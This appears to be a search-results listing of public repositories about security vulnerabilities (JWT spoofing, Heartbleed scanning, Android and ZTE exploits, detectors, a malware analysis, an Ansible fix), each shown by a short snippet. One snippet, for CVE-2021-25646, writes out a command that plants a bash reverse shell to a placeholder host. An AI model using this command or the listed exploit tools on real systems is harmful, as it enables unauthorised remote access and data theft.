1304072 matches found
jwt-spoof-tool
jwt-spoof-tool Tool Description : I made this tool for learning purpose and automating jwt token hijacking without depending on using burpsuite the code is well documented and easy to follow Based on CVE-2018-0114 The Vulnerabilty happend because in backend the server check jwk object embeded...
heartbleed-test
root@kitploit: $ python getwebsiteurls.py "searchstring" websites.txt $ sh heartbleed-test.sh websites.txt | tee -a scanresult.log...
CVE-2024-3094
CVE-2024-3094...
ztewaste
ZTE Diagnostics Dump Proof of Concept Extract a concerning amount of user information from Unisoc ZTE devices using CVE-2022-38694. !CAUTION Please do not permalink here!!!!! The repo name is almost certainly going to change in the future. Instead, provide a link to my writeup on my blog. Writeup...
CVE-2021-25646
usage: python3 CVE-2021-25646.py -u http://x.x.x.x -c cmd Reverse shell as follows: Write reverse shell script python3 CVE-2021-25646.py -u http://x.x.x.x -c "echo 'bash -i & /dev/tcp/x.x.x.x/xxxx 0&1' /tmp/1.sh" Grant execution permission to the shell script python3 CVE-2021-25646.py -u...
EXPLOITER
EXPLOITER: Automated Exploit for CVE-2024-0044 EXPLOITER is a sophisticated tool designed for automated exploitation of CVE-2024-0044 vulnerabilities. This script streamlines the process of exploiting vulnerable Android applications by automating the payload deployment and APK installation...
detectar_cve-2024-3094
Detectarcve-2024-3094...
cve-2023-0669-simulation
Project Structure cve-2023-0669-simulation/ ├── docker-compose.yml ├── attacker/ │ ├── Dockerfile │ └── CVE20230669helper.java ├── vulnerable/ │ ├── Dockerfile │ └── VulnerableServer.java ├── listener/ │ ├── Dockerfile │ └── server.py └── received/ ← created automatically exfiltration 2. Start th...
CVE-2021-3831
PHP Exploit CVE-2021-3831 Script Overview This PHP script is designed to interact with a target website by generating specific MD5 hashes and making HTTP requests to exploit potential vulnerabilities. It is intended for educational purposes and should only be used in environments where you have...
CVE-2024-10924
CVE-2024-10924...
Malware-Analysis-Follina-CVE-2022-30190
Malware-Analysis-Follina-CVE-2022-30190 Static Malware Analysis – Follina Exploitation CVE-2022-30190 Malicious Microsoft Word Document Investigation During a practical malware analysis session on Kali Linux, I encountered a suspicious file named sample.doc. I decided to perform a structured stat...
CVE-2018-6574
This repository does not have a README...
saleemrashid-sudo-cve-2019-18634
CVE-2019-18634 https://www.sudo.ws/alerts/pwfeedback.html https://nvd.nist.gov/vuln/detail/CVE-2019-18634 Credit to Joe Vennix from Apple Information Security for finding the bug...
cve-2023-37456
cve-2023-37456 cve-2023-37456...
CVE-2012-0158-reproduction
This repository does not have a README...
CVE-2012-2982
This repository does not have a README...
Cve-2023-34804
This repository does not have a README...
CVE-2025-48384-submodule
See https://github.com/liamg/CVE-2025-48384...
CVE-2016-3714.ansible.role
Ansible Role: CVE-2016-3714 Fix ImageMagick Command Injection CVE-2016-3714 security issue with Ansible. Requirements Any installed imagemagick and before v6.7.7.10 machine. Role Variables A description of the settable variables for this role should go here, including any variables that are in...